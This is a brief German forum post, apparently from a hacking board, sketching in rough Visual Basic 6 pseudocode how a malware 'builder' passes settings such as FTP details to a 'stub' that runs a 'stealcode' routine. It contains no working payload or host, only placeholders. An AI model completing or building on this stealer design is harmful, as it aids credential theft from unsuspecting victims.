achsoo also so :

in den builder :
dim checkbox1.checked as string

vb6.value = ceckbox1.checked & "#" & FTP & "#" usw.

und in der stub dann :
private sub stealcode
if checkbox1.checked = true then bliblablubb

end sub

so?